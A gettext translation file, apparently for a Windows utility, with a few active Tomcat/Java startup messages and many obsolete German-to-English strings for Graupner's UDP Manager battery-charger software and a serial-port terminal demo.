msgid "Deleting PID-entry %d: %s" msgstr "Deleting PID-entry %d: %s" #: uTomcat.pas:78 msgid "Possible problem detected: Tomcat Not Found!" msgstr "Possible problem detected: Tomcat Not Found!" #. if (LowerCase(PortBlocker) = LowerCase('java.exe')) or (LowerCase(PortBlocker) = LowerCase('javaw.exe')) then #: uTomcat.pas:97 msgid "Java is already running on port %d!" msgstr "Java is already running on port %d!" #: uTomcat.pas:98 msgid "Is Tomcat already running?" msgstr "Is Tomcat already running?" #: uTomcat.pas:144 msgid "Tomcat Started/Stopped with errors, return code: %d" msgstr "Tomcat Started/Stopped with errors, return code: %d" #: uTomcat.pas:145 msgid "Make sure you have Java JDK or JRE installed and the required ports are free" msgstr "Make sure you have Java JDK or JRE installed and the required ports are free" #: uTools.pas:361 msgid "Application" msgstr "Application" #~ msgid "Tahoma" #~ msgstr "Tahoma" #~ msgid "Arial" #~ msgstr "Arial" #~ msgid "-" #~ msgstr "-" #~ msgid "Konfiguration" #~ msgstr "Configuration" #, fuzzy #~ msgid "Anzeigen" #~ msgstr "Display" #, fuzzy #~ msgid "Beenden" #~ msgstr "Terminating..." #, fuzzy #~ msgid "More" #~ msgstr "Store" #~ msgid "Graupner GmbH && Co. KG" #~ msgstr "Graupner GmbH && Co. KG" #~ msgid "Henriettenstraße 94-96" #~ msgstr "Henriettenstraße 94-96" #~ msgid "73230 Kirchheim/Teck" #~ msgstr "73230 Kirchheim/Teck" #~ msgid "Vertretungsberechtigte Geschäftsführer" #~ msgstr "Authorised Representative Managing Directors" #~ msgid "Hans Graupner, Stefan Graupner" #~ msgstr "Hans Graupner, Stefan Graupner" #~ msgid "Telefon/Fax/E-Mail-Adresse" #~ msgstr "Phone/Fax/E-mail address" #~ msgid "Telefon: 07021 722-0" #~ msgstr "Phone: +49 7021 722-0" #~ msgid "Fax: 07021 722-200" #~ msgstr "Fax: +49 7021 722-200" #~ msgid "Email: info@graupner.de" #~ msgstr "Email: info@graupner.de" #~ msgid "Registergericht:" #~ msgstr "Court of registration:" #~ msgid "Amtsgericht Stuttgart HRA 230523" #~ msgstr "Stuttgart District Court, Trade Register No. 230523" #~ msgid "Umsatzsteueridentifikationsnummer" #~ msgstr "VAT identification number" #~ msgid "DE 145929079" #~ msgstr "DE 145929079" #~ msgid "Akku Zellen (x %.1f V)" #~ msgstr "Battery cells (x %.1f V)" #~ msgid "neu" #~ msgstr "new" #~ msgid "==> %.1f V" #~ msgstr "==> %.1f V" #~ msgid "Standardwert (für Akku-Typ=%s)" #~ msgstr "Default (for Battery type=%s)" #~ msgid "Serieller Port konnte nicht geöffnet werden." #~ msgstr "Serial port could not be opened" #~ msgid "Leerlauf" #~ msgstr "Idle" #~ msgid "Laden" #~ msgstr "Charge" #~ msgid "Entladen" #~ msgstr "Discharge" #~ msgid "Wartezeit" #~ msgstr "Delay" #~ msgid "Hitze-Schutz" #~ msgstr "Pause time (Charger too hot)" #~ msgid "Vorgang abgeschlossen" #~ msgstr "Operation completed" #~ msgid "Fehler" #~ msgstr "Error" #~ msgid "Balancen" #~ msgstr "Balance" #~ msgid "Heizung/Netzteil" #~ msgstr "Tyre Heater" #~ msgid "DC-Motor" #~ msgstr "Motor mode" #~ msgid "Lagermodus: Laden" #~ msgstr "Storemode: Charge" #~ msgid "Lagermodus: Entladen" #~ msgstr "Storemode: Discharge" #~ msgid "Schreibe" #~ msgstr "Writing" #~ msgid "Lese" #~ msgstr "Reading" #~ msgid "" #~ "Achtung, die Firmware Ihres Ladergeräts ist in Bezug auf die PC-" #~ "kommunikation fehlerhaft!" #~ msgstr "" #~ "Attention, the firmware of your charger has some errors related to " #~ "communication to the PC!" #~ msgid "" #~ "Um dieses Programm mit Ihrem Ladegrät nutzen zu können, müssen Sie die " #~ "Firmware updaten." #~ msgstr "" #~ "To use this program with your charger, you have to upgrade the chargers " #~ "firmware ." #~ msgid "" #~ "Besuchen Sie dazu die Homepage von Graupner bzw. klicken Sie im Programm " #~ "auf das Ladegerät UDP 40, um automatisch die entsprechende Seite zu laden." #~ msgstr "" #~ "Visit the homepage of Graupner or click on the icon of UDP 40 in this " #~ "program." #~ msgid "" #~ "Das Programm zum Updaten der Firmware finden Sie evtl. nur auf der Seite " #~ "des UDP 50!" #~ msgstr "" #~ "The program to update the firmware can be found on the page of the UDP 50." #~ msgid "K" #~ msgstr "Ch" #~ msgid " Linke Seite " #~ msgstr " Left side " #~ msgid "Das Programm muss neu gestartet werden. Weiter?" #~ msgstr "The program has to be restarted. Proceed?" #~ msgid "--- Automatisch erkannte COM-Ports ---" #~ msgstr "--- Automatic detected COM-Ports ---" #~ msgid "--- Manuelle Eingabe des COM-Ports ---" #~ msgstr "--- Manual selection of COM-Ports ---" #~ msgid "Fullscreen" #~ msgstr "Fullscreen" #~ msgid "links" #~ msgstr "left" #~ msgid "Spannung" #~ msgstr "Voltage" #~ msgid "rechts" #~ msgstr "right" #~ msgid "Strom" #~ msgstr "Current" #~ msgid "Temperatur" #~ msgstr "Temperature" #~ msgid "Werte Daten aus..." #~ msgstr "Interpreting data..." #~ msgid "Keine Daten geladen!" #~ msgstr "No data loaded!" #~ msgid "Exportiert am %s" #~ msgstr "Exported on %s" #~ msgid "Messpunkte - Intervall = %d Sekunden" #~ msgstr "measuring interval = %d seconds" #~ msgid "Spannung [V]" #~ msgstr "Voltage [V]" #~ msgid "Strom [mA]" #~ msgstr "Current [mA]" #~ msgid "Temperatur [C°]" #~ msgstr "Temperature [°C]" #~ msgid "Links" #~ msgstr "Left" #~ msgid "Rechts" #~ msgstr "Right" #~ msgid "Intervall" #~ msgstr "Interval" #~ msgid "Sek" #~ msgstr "Sec" #~ msgid "Vollbild" #~ msgstr "Fullscreen" #~ msgid "Schließen" #~ msgstr "Close" #~ msgid "Das Dateiformat ist nicht mit dieser Version kompatibel!" #~ msgstr "The file format is not compatible with this version!" #~ msgid "Lade Daten..." #~ msgstr "Loading data..." #~ msgid "Schreibe Daten..." #~ msgstr "Writing data..." #~ msgid "Daten gespeichert!" #~ msgstr "Data saved!" #~ msgid "Aktuell" #~ msgstr "Current" #~ msgid "Zellenspannung" #~ msgstr "Cell voltage" #~ msgid "Gesamtspannung" #~ msgstr "Total voltage" #~ msgid "Ladung" #~ msgstr "Kapazität" #~ msgid "K%d: " #~ msgstr "Ch%d:" #~ msgid "Zelle %d" #~ msgstr "Cell %d" #~ msgid "Zyklus" #~ msgstr "Cycle" #~ msgid "Uhrzeit" #~ msgstr "Time" #~ msgid "Kanal" #~ msgstr "Channel" #~ msgid "Zelle" #~ msgstr "Cell" #~ msgid "UDP Manager v%s - Copyright by Graupner GmbH 2009-2010" #~ msgstr "UDP Manager v%s - Copyright by Graupner GmbH 2009-2010" #~ msgid "UDP Manager v%s" #~ msgstr "UDP Manager v%s" #~ msgid "Einzel-Speicher" #~ msgstr "Single-Memory" #~ msgid "Multi-Speicher" #~ msgstr "Multi-Memory" #~ msgid "Live-Daten" #~ msgstr "Live-Data" #~ msgid "Alle Dateien" #~ msgstr "All files" #~ msgid "Sie müssen eine gültige Zahl als Speichernummer angeben!" #~ msgstr "You must enter a valid memory number!" #~ msgid "Erlaubte Speichernummer: 1 bis %d" #~ msgstr "Allowed memory number: 1 to %d" #~ msgid "Lade Speicher..." #~ msgstr "Loading memory..." #~ msgid "Starte PC-Mode" #~ msgstr "Starting PC-Mode" #~ msgid "Verlasse PC-Mode" #~ msgstr "Leaving PC-Mode" #~ msgid "Keine vollständigen Daten geladen!" #~ msgstr "No complete data loaded!" #~ msgid "" #~ "Quellspeicher-Nummer und Zielspeicher-Nummer sind unterschiedlich. Weiter?" #~ msgstr "Source-number and destination-number are not equal. Proceed?" #~ msgid "%d/%d (%.0f %%)" #~ msgstr "%d/%d (%.0f %%)" #~ msgid "Fehler!" #~ msgstr "Error!" #~ msgid "Sie müssen alle Daten eingeben!" #~ msgstr "You have to fill out all data fields!" #~ msgid "Gerät konnte nicht erkannt werden!" #~ msgstr "Charger could not be detected!" #~ msgid "Gerät nicht bereit. Beenden Sie alle Ladevorgänge etc.!" #~ msgstr "Charger not ready. Finish all operations like charging etc!" #~ msgid "Fehler: %s" #~ msgstr "Error: %s" #~ msgid "unbekannt" #~ msgstr "unknown" #~ msgid "COM-Port geöffnet" #~ msgstr "COM-Port opened" #~ msgid "COM-Port geschlossen" #~ msgstr "COM-Port closed" #~ msgid "Unbekanntes Gerät" #~ msgstr "Unknown device" #~ msgid "Wähle Sheet aus" #~ msgstr "Selecting sheet" #~ msgid "Bereite Format vor" #~ msgstr "Preparing format" #~ msgid "%d / %d, %d%% fertig" #~ msgstr "%d / %d, %d%% done" #~ msgid "Excel konnte nicht gestartet werden!" #~ msgstr "Excel could not be started!" #~ msgid "Eventuell ist kein Excel installiert?" #~ msgstr "Maybe there is no MS-Excel installed?" #~ msgid "Starte Excel" #~ msgstr "Starting Excel" #~ msgid "fAbout" #~ msgstr "fAbout" #~ msgid "UDP Manager" #~ msgstr "UDP Manager" #~ msgid "lLegalStuff" #~ msgstr "lLegalStuff" #~ msgid "Entwickelt von" #~ msgstr "Developed by" #~ msgid "Dipl.-Wirt.-Inf Steffen Strüber" #~ msgstr "Dipl.-Wirt.-Inf Steffen Strüber" #~ msgid " Akkuinformation " #~ msgstr " Battery information " #~ msgid "Akku Typ" #~ msgstr "Battery type" #~ msgid "Akku Zellen" #~ msgstr "Battery cells" #~ msgid "Akku Kapazität" #~ msgstr "Battery capacity" #~ msgid "Inbetriebnahme" #~ msgstr "Beginning of operation" #~ msgid "Akkuname (16 Zeichen)" #~ msgstr "Battery name (16 charachters)" #~ msgid "Speicherplatz: 0" #~ msgstr "Memory: 0" #~ msgid "mAh" #~ msgstr "mAh" #~ msgid "=> 00.0V" #~ msgstr "=> 00.0V" #~ msgid "Info: Anzahl Zyklen" #~ msgstr "Info: Number of cycles" #~ msgid "NiCd" #~ msgstr "NiCd" #~ msgid "NiMH" #~ msgstr "NiMH" #~ msgid "LiIo" #~ msgstr "LiIo" #~ msgid "LiPo" #~ msgstr "LiPo" #~ msgid "LiFe" #~ msgstr "LiFe" #~ msgid "Pb" #~ msgstr "Pb" #~ msgid "eAkkuName" #~ msgstr "eAkkuName" #~ msgid " Laden " #~ msgstr " Load " #~ msgid "Ladestrom" #~ msgstr "Charge current" #~ msgid "Peak Empfindlichkeit" #~ msgstr "Peak sensibility" #~ msgid "Peak Verzögerung" #~ msgstr "Peak delay" #~ msgid "Abschalttemperatur" #~ msgstr "Cut-off temperature" #~ msgid "Erhaltungsstrom" #~ msgstr "Trickle current" #~ msgid "Max Kapazität" #~ msgstr "Max capacity" #~ msgid "%" #~ msgstr "%" #~ msgid "Keine Spannnungsänderung" #~ msgstr "No voltage change" #~ msgid "RePeak Pause" #~ msgstr "RePeak pause" #~ msgid "RePeak Zyklen" #~ msgstr "RePeak cylces" #~ msgid "Sicherheitstimer" #~ msgstr "Security timer" #~ msgid "Ladespannung" #~ msgstr "Charge voltage" #~ msgid "mA" #~ msgstr "mA" #~ msgid "mV / Zelle" #~ msgstr "mV / Zelle" #~ msgid "°C" #~ msgstr "°C" #~ msgid "V / Zelle" #~ msgstr "V / Zelle" #~ msgid "Lagerspannung" #~ msgstr "Store voltage" #~ msgid "550 = AUS, 0=AUTO" #~ msgstr "550 = OFF, 0=AUTO" #~ msgid "Aus" #~ msgstr "Out" #~ msgid "An" #~ msgstr "On" #~ msgid "905 = AUS" #~ msgstr "905 = OFF" #~ msgid "155 = AUS" #~ msgstr "155 = OFF" #~ msgid "Wert" #~ msgstr "Value" #~ msgid "AUS" #~ msgstr "OFF" #~ msgid "AUTO" #~ msgstr "AUTO" #~ msgid " Zyklus " #~ msgstr "Cycle" #~ msgid "Pause nach Entladen" #~ msgstr "Pause after discharge" #~ msgid "Pause nach Laden" #~ msgstr "Pause after charge" #~ msgid "Anzahl Zyklen" #~ msgstr "Number of cycles" #~ msgid "Zyklus Reihenfolge" #~ msgstr "Cycle order" #~ msgid "E:L->E" #~ msgstr "D:C->D" #~ msgid "L->E" #~ msgstr "C->D" #~ msgid "E->L" #~ msgstr "D->C" #~ msgid " Entladen " #~ msgstr " Discharge " #~ msgid "Entladestrom" #~ msgstr "Disch. current" #~ msgid "Abschaltspannung" #~ msgstr "Cut-off voltage" #~ msgid "Aschalttemperatur [°C]" #~ msgstr "Cut-off temperature" #~ msgid "Max. Kapazität" #~ msgstr "Max. capacity" #~ msgid "Balancerspannnung" #~ msgstr "Balancer voltage" #~ msgid "V" #~ msgstr "V" #~ msgid "105 = AUS" #~ msgstr "105 = OFF" #~ msgid "Fertig-Melodie" #~ msgstr "Finish melody" #~ msgid "LCD Kontrast" #~ msgstr "LCD contrast" #~ msgid "Fertig-Melodie Dauer" #~ msgstr "Finish melody duration" #~ msgid "Rollen" #~ msgstr "Roll" #~ msgid "Letzte" #~ msgstr "Last" #~ msgid "5 Sek" #~ msgstr "5 Sec" #~ msgid "15 Sek" #~ msgstr "15 Sec" #~ msgid "1 Min" #~ msgstr "1 Min" #~ msgid " Allgemein " #~ msgstr " Common " #~ msgid "Temperaturanzeige" #~ msgstr "Temperature view" #~ msgid "Tastenton" #~ msgstr "Key sound" #~ msgid "Netzteil / Batterie" #~ msgstr "Powersupply / battery" #~ msgid "Zeitdarstellung" #~ msgstr "Timeformat" #~ msgid "Aktuelles Datum" #~ msgstr "Current date" #~ msgid "Aktuelle Zeit" #~ msgstr "Current time" #~ msgid "A" #~ msgstr "A" #~ msgid "Name Ladegerät (16 Zeichen)" #~ msgstr "Name charging device" #~ msgid "°F" #~ msgstr "°F" #~ msgid "Englisch" #~ msgstr "English" #~ msgid "Deutsch" #~ msgstr "German" #~ msgid "Französisch" #~ msgstr "French" #~ msgid "Italienisch" #~ msgstr "Italian" #~ msgid "12 H" #~ msgstr "12 H" #~ msgid "24 H" #~ msgstr "24 H" #~ msgid "eLoaderName" #~ msgstr "eLoaderName" #~ msgid "PC-Zeit beim Schreiben benutzen" #~ msgstr "Use Computer-time on write" #~ msgid "Netzteil2 / Batterie" #~ msgstr "Powersupply2 / battery" #~ msgid "Lastverteilung" #~ msgstr "Lload distribution" #~ msgid " Rechte Seite " #~ msgstr " Right side " #~ msgid "COM-Port" #~ msgstr "COM-Port" #~ msgid "Abbruch" #~ msgstr "Cancel" #~ msgid "USB-Treiber" #~ msgstr "USB-driver" #~ msgid "Debug Daten serielle Schnittstelle" #~ msgstr "Debug data serial device" #~ msgid "Courier New" #~ msgstr "Courier New" #~ msgid "mDebug" #~ msgstr "mDebug" #~ msgid "In Zwischenspeicher kopieren" #~ msgstr "Copy to clipboard" #~ msgid "Protokollierung pausieren" #~ msgstr "Suspend logging" #~ msgid "Gerät neu starten" #~ msgstr "Restart Device" #~ msgid "COM1" #~ msgstr "COM1" #~ msgid "Restdauer" #~ msgstr "Remaining time" #~ msgid "Berechne" #~ msgstr "Calculating" #~ msgid "Restdauer: %d Sekunden" #~ msgstr "Remaining time: %d seconds" #~ msgid "Buffer: %s/%d Bytes" #~ msgstr "Buffer: %s/%d Bytes" #~ msgid "Dateiendung muss .BMP oder .JPG sein!" #~ msgstr "Extension must be .BMP or .JPG!" #~ msgid "\"%s\" erfolgreich gespeichert!" #~ msgstr "\"%s\" saves successfully!" #~ msgid "Daten" #~ msgstr "Data" #~ msgid "Speicher %d/%d (%.0f %%)" #~ msgstr "Memory %d/%d (%.0f %%)" #~ msgid "Schreibe Speicher..." #~ msgstr "Writing memory..." #~ msgid "Fehler: " #~ msgstr "Error: " #~ msgid "Länge der gelesenen Daten ungültig!" #~ msgstr "Length mismatch of read data!" #~ msgid "" #~ "Überprüfen Sie die COM-Port Einstellung und stellen Sie sicher, dass das " #~ "Ladegerät zur Zeit nicht lädt!" #~ msgstr "" #~ "Recheck your COM-Port settings and ensure, that the charger is not busy!" #~ msgid "Interner Fehler: Noch zu parsende Daten vorhanden!" #~ msgstr "Internal error: More data remaining!" #~ msgid "Namen" #~ msgstr "Names" #~ msgid "Daten 1" #~ msgstr "Daten 1" #~ msgid "Daten 2" #~ msgstr "Daten 2" #~ msgid "Kein Treiber gefundenn!" #~ msgstr "No driver found!" #~ msgid "Speicherplatz: %s (%d)" #~ msgstr "Battery number: %s (%d)" #~ msgid "Speicherplatz" #~ msgstr "Memory" #~ msgid "fFullscreen" #~ msgstr "fFullscreen" #~ msgid "Temperatur [°C]" #~ msgstr "Temperature [°C]" #~ msgid "Tabelle" #~ msgstr "Table" #~ msgid "TChart" #~ msgstr "TChart" #~ msgid "SeriesVoltageLeft" #~ msgstr "SeriesVoltageLeft" #~ msgid "X" #~ msgstr "X" #~ msgid "Y" #~ msgstr "Y" #~ msgid "SeriesVoltageRight" #~ msgstr "SeriesVoltageRight" #~ msgid "SeriesCurrentLeft" #~ msgstr "SeriesCurrentLeft" #~ msgid "SeriesCurrentRight" #~ msgstr "SeriesCurrentRight" #~ msgid "SeriesTempLeft" #~ msgstr "SeriesTempLeft" #~ msgid "SeriesTempRight" #~ msgstr "SeriesTempRight" #~ msgid "Excel-Export" #~ msgstr "Excel-Export" #~ msgid "lDataPoints" #~ msgstr "lDataPoints" #~ msgid "lFrom" #~ msgstr "lFrom" #~ msgid "lTo" #~ msgstr "lTo" #~ msgid "Legende" #~ msgstr "Legend" #~ msgid "Datenpunkte" #~ msgstr "Datapoints" #~ msgid "Alle Kanäle" #~ msgstr "All channels" #~ msgid "Grafik speichern" #~ msgstr "Save graphic" #~ msgid "Von:" #~ msgstr "From:" #~ msgid "Bis:" #~ msgstr "To:" #~ msgid "Status:" #~ msgstr "Status:" #~ msgid "Modus:" #~ msgstr "Mode:" #~ msgid "Punkte:" #~ msgstr "Points:" #~ msgid "Neu" #~ msgstr "New" #~ msgid "Daten laden" #~ msgstr "Load data" #~ msgid "Daten speichern" #~ msgstr "Save data" #~ msgid "Linienstärke" #~ msgstr "Line width" #~ msgid "Diagramm-Titel" #~ msgstr "Diagram title" #~ msgid "Durchschnitt" #~ msgstr "Average" #~ msgid "Ladung [mAh]" #~ msgstr "Capacity [mAh]" #~ msgid "Alle Graphen" #~ msgstr "All Graphs" #~ msgid "Übersicht" #~ msgstr "Overview" #~ msgid "PanelPCMain" #~ msgstr "PanelPCMain" #~ msgid "Warte auf Daten..." #~ msgstr "Waiting for data..." #~ msgid "#,##0.00" #~ msgstr "#,##0.00" #~ msgid "#,##0.000" #~ msgstr "#,##0.000" #~ msgid "Strom [mA] / Temperatur [°C]" #~ msgstr "Current [mA] / Temperature [°C]" #~ msgid "#,##0.0" #~ msgstr "#,##0.0" #~ msgid "Spannungen" #~ msgstr "Voltages" #~ msgid "Strom/Temp" #~ msgstr "Current/Temp" #~ msgid "jpg" #~ msgstr "jpg" #~ msgid "" #~ "Alle (*.bmp;*.jpg)|*.jpg;*.bmp|JPEG-Grafikdatei (*.jpg)|*.jpg|Bitmaps (*." #~ "bmp)|*.bmp" #~ msgstr "" #~ "All (*.bmp;*.jpg)|*.jpg;*.bmp|JPEG-file (*.jpg)|*.jpg|Bitmaps (*.bmp)|*." #~ "bmp" #~ msgid "Aktuell: 10 x 10" #~ msgstr "Current: 10 x 10" #~ msgid "Größe: 800 x 600" #~ msgstr "Size: 800 x 600" #~ msgid "Größe: 1024 x 768" #~ msgstr "Size: 1024 x 768" #~ msgid "Größe: 1920 x 1200" #~ msgstr "Size: 1920 x 1200" #~ msgid "Größe: 4000 x 2000" #~ msgstr "Size: 4000 x 2000" #~ msgid "GroupBox1" #~ msgstr "GroupBox1" #~ msgid "[ ±0.15V]" #~ msgstr "[ ±0.15V]" #~ msgid "[3,2 - 4,4V]" #~ msgstr "[3,2 - 4,4V]" #~ msgid "[0 - V]" #~ msgstr "[0 - V]" #~ msgid "Bar" #~ msgstr "Bar" #~ msgid "Ausgangsspannung:" #~ msgstr "Voltag out:" #~ msgid "Strom:" #~ msgstr "Current:" #~ msgid "Temperatur:" #~ msgstr "Temperature:" #~ msgid "Stand:" #~ msgstr "Time:" #~ msgid "Kanal:" #~ msgstr "Channel:" #~ msgid "Ladung:" #~ msgstr "Charge:" #~ msgid "Eingangsspannung:" #~ msgstr "Voltage in:" #~ msgid "Zyklus:" #~ msgstr "Cycle:" #~ msgid "Max. Zellendifferenz:" #~ msgstr "Max. Cell difference:" #~ msgid "Ultramat Duo Plus 50" #~ msgstr "Ultramat Duo Plus 50" #~ msgid "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6444" #~ msgstr "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6444" #~ msgid "Ultramat Duo Plus 45" #~ msgstr "Ultramat Duo Plus 45" #~ msgid "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6475" #~ msgstr "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6475" #~ msgid "Ultramat Duo Plus 40" #~ msgstr "Ultramat Duo Plus 40" #~ msgid "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6443" #~ msgstr "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6443" #~ msgid "Programmierbar" #~ msgstr "Programmable" #~ msgid "Live-Anzeige" #~ msgstr "Live-Display" #~ msgid "Ultra Trio Plus 14" #~ msgstr "Ultra Trio Plus 14" #~ msgid "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6466" #~ msgstr "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6466" #~ msgid "Ultramat 16S" #~ msgstr "Ultramat 16S" #~ msgid "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6468" #~ msgstr "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6468" #~ msgid "Ultramat 18" #~ msgstr "Ultramat 18" #~ msgid "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6470" #~ msgstr "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6470" #~ msgid "http://www.graupner.de" #~ msgstr "http://www.graupner.com" #~ msgid "Ultramat Duo Plus 60" #~ msgstr "Ultramat Duo Plus 60" #~ msgid "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6478" #~ msgstr "http://shop.graupner.de/webuerp/servlet/AI?ARTN=6478" #~ msgid "Live" #~ msgstr "Live" #~ msgid "Einzel-Akku" #~ msgstr "Single battery" #~ msgid "Über" #~ msgstr "About" #~ msgid "Akkuhistorie" #~ msgstr "Battery history" #~ msgid "Graphen" #~ msgstr "Graphs" #~ msgid "Komplett" #~ msgstr "All batterys" #~ msgid "Ladegerät" #~ msgstr "Charger" #~ msgid "COM-Port: COM1" #~ msgstr "COM-Port: COM1" #~ msgid "XXX" #~ msgstr "XXX" #~ msgid "SingleAkku" #~ msgstr "SingleAkku" #~ msgid "Akku Lesen" #~ msgstr "Read battery" #~ msgid "Datei" #~ msgstr "File" #~ msgid "Akku Schreiben" #~ msgstr "Write battery" #~ msgid "Akku Laden" #~ msgstr "Load battery" #~ msgid "Akku Speichern" #~ msgstr "Save battery" #~ msgid "Neuer Akku" #~ msgstr "New battery" #~ msgid "TSAkkuList" #~ msgstr "TSAkkuList" #~ msgid "Liste Laden" #~ msgstr "Load list" #~ msgid "Liste Speichern" #~ msgstr "Save list" #~ msgid "#" #~ msgstr "#" #~ msgid "Org #" #~ msgstr "Org #" #~ msgid "Typ" #~ msgstr "Type" #~ msgid "Zellen" #~ msgstr "Cells" #~ msgid "Kapazität" #~ msgstr "Capacity" #~ msgid "Daten Laden" #~ msgstr "Load data" #~ msgid "Daten Speichern" #~ msgstr "Save data" #~ msgid "tsViewData" #~ msgstr "tsViewData" #~ msgid "TSGraphs" #~ msgstr "TSGraphs" #~ msgid "Graphen lesen" #~ msgstr "Read graphs" #~ msgid "tsLiveData" #~ msgstr "tsLiveData" #~ msgid "name (*)|fil.*|a|b" #~ msgstr "name (*)|fil.*|a|b" #~ msgid "Bearbeiten" #~ msgstr "Edit" #~ msgid "Kopieren nach" #~ msgstr "Copy to" #~ msgid "fProgress" #~ msgstr "fProgress" #~ msgid "lProgress" #~ msgstr "lProgress" #~ msgid "lRemaining" #~ msgstr "lRemaining" #~ msgid "lBytes" #~ msgstr "lBytes" #~ msgid "Speicher bearbeiten" #~ msgstr "Edit memory" #~ msgid "Abbrechen" #~ msgstr "Cancel" #~ msgid "Übernehmen" #~ msgstr "Use" #~ msgid "Treiber Warnung" #~ msgstr "Driver warning" #~ msgid "Sie haben keinen Treiber oder eine veraltete Version installiert!" #~ msgstr "You have either no driver or an old driver installed!" #~ msgid "cURLUSBDrivers" #~ msgstr "cURLUSBDrivers" #~ msgid "Einige ältere Treiber verursachen Abstürze (\"BlueScreens\"). " #~ msgstr "Some older drivers are unstable and may produce \"bluescreens\"." #~ msgid "5.4.20.9" #~ msgstr "5.4.20.9" #~ msgid "Internet-Adresse des Treiber vom Hersteller (anklicken):" #~ msgstr "Internet-address of new driver from manufacturer (cllick):" #~ msgid "" #~ "Die Treiber finden Sie in jedem Fall auf der Homepage zum Ladegerät von " #~ "Graupner" #~ msgstr "Die You can find that drivers on at the homepage of Graupner." #~ msgid "Neuste Version des Treibers (Stand: 19. Nov. 2010):" #~ msgstr "Newest known driver version (Date:19. nov. 2010)" #~ msgid "Ihre Treiberversion:" #~ msgstr "Your driver version:" #~ msgid "6.1" #~ msgstr "6.1" #~ msgid "Nicht mehr überprüfen" #~ msgstr "Do not check again" #~ msgid "Akku- und Zyklusdaten" #~ msgstr "Battery- and cycledata" #~ msgid "Kapazität [mA]" #~ msgstr "Capacity [mA]" #~ msgid "Widerstand [mOhm]" #~ msgstr "Resistance [mOhm]" #~ msgid "Letzte Lade-Kapazität" #~ msgstr "Last charge capacity" #~ msgid "Letzte Entlade-Kapazität" #~ msgstr "Last discharge capacity" #~ msgid "Maximale Lade-Kapazität " #~ msgstr "Max charge capacity" #~ msgid "Maximale Entlade-Kapazität " #~ msgstr "Max discharge capacity" #~ msgid "Anzahl Ladungen" #~ msgstr "Number of charges" #~ msgid "Miminaler Widerstand" #~ msgstr "Min resistance" #~ msgid "Label1" #~ msgstr "Label1" #~ msgid "Nr" #~ msgstr "No" #~ msgid "Endzeit" #~ msgstr "Finish time" #~ msgid "Ladekap." #~ msgstr "Charge cap." #~ msgid "Entladekap." #~ msgstr "Discharge cap." #~ msgid "Ladesp." #~ msgstr "Charge volt." #~ msgid "Entladesp." #~ msgstr "Disch. volt." #~ msgid "Ladewid." #~ msgstr "Charge res." #~ msgid "Entladewid." #~ msgstr "Disch. res." #~ msgid "Der benötigte Treiber konnte nicht gefunden werden." #~ msgstr "The needed driver could not be found." #~ msgid "" #~ "Wollen Sie direkt die Internetadresse öffnen, um den Treiber zu " #~ "downloaden?" #~ msgstr "Do you want to open the internet address, to download the driver?" #~ msgid " " #~ msgstr " " #~ msgid "Kapazität:" #~ msgstr "Capacity:" #~ msgid "K2" #~ msgstr "Ch2" #~ msgid "Auswahl" #~ msgstr "Select" #~ msgid "" #~ "Dieses Programm dient einzig der DEMONSTRATION und ist NICHT für jegliche " #~ "Veröffentlichung oder Weitergabe bestimmt!" #~ msgstr "" #~ "This program is intended ONLY for DEMONSTRATION and NOT for any " #~ "distribution!" #~ msgid "Speicherplatz: %d" #~ msgstr "Memory: %d" #~ msgid "Speichern" #~ msgstr "Save" #~ msgid "Live-Speicher" #~ msgstr "Live data" #~ msgid "Daten Lesen" #~ msgstr "Read data" #~ msgid "Daten Schreiben" #~ msgstr "Write data" #~ msgid "ComPort Library example" #~ msgstr "ComPort Library example" #~ msgid "MS Sans Serif" #~ msgstr "MS Sans Serif" #~ msgid "Open" #~ msgstr "Open" #~ msgid "Send" #~ msgstr "Send" #~ msgid "Send new line" #~ msgstr "Send new line" #~ msgid "CTS" #~ msgstr "CTS" #~ msgid "DSR" #~ msgstr "DSR" #~ msgid "RLSD" #~ msgstr "RLSD" #~ msgid "Ring" #~ msgstr "Ring" #~ msgid "Tx" #~ msgstr "Tx" #~ msgid "Rx" #~ msgstr "Rx" #~ msgid "Load" #~ msgstr "Load" #~ msgid "Nach MS-Excel exportieren" #~ msgstr "Export to MS-Excel" #~ msgid "Mini Terminal" #~ msgstr "Mini Terminal" #~ msgid "Terminal ready" #~ msgstr "Terminal ready" #~ msgid "Carrier detected" #~ msgstr "Carrier detected" #~ msgid "Connect" #~ msgstr "Connect" #~ msgid "Serial Port" #~ msgstr "Serial Port" #~ msgid "Terminal" #~ msgstr "Terminal" #~ msgid "System" #~ msgstr "System" #~ msgid "Non-Overlapped API Test" #~ msgstr "Non-Overlapped API Test" #~ msgid "COM3" #~ msgstr "COM3" #~ msgid "Paste" #~ msgstr "Paste" #~ msgid "TComPort" #~ msgstr "TComPort" #~ msgid "MS Serif" #~ msgstr "MS Serif" #~ msgid "version" #~ msgstr "version" #~ msgid "by Dejan Crnila, Lars Dybdahl, and Warren Postma" #~ msgstr "by Dejan Crnila, Lars Dybdahl, and Warren Postma" #~ msgid "See http://comport.sf.net/ for more info" #~ msgstr "See http://comport.sf.net/ for more info" #~ msgid "Baud rate" #~ msgstr "Baud rate" #~ msgid "Data bits" #~ msgstr "Data bits" #~ msgid "Stop bits" #~ msgstr "Stop bits" #~ msgid "Parity" #~ msgstr "Parity" #~ msgid "Flow control" #~ msgstr "Flow control" #~ msgid "Custom" #~ msgstr "Custom" #~ msgid "None" #~ msgstr "None" #~ msgid "Hardware" #~ msgstr "Hardware" #~ msgid "COM11" #~ msgstr "COM11" #~ msgid " ASCII Settings " #~ msgstr " ASCII Settings " #~ msgid "Echo typed charachters locally" #~ msgstr "Echo typed charachters locally" #~ msgid "Send line feeds with carriage return" #~ msgstr "Send line feeds with carriage return" #~ msgid "Wrap lines that exceed terminal width" #~ msgstr "Wrap lines that exceed terminal width" #~ msgid "Force incoming data to 7 bit ASCII" #~ msgstr "Force incoming data to 7 bit ASCII" #~ msgid "Append line feeds to incoming carriage return" #~ 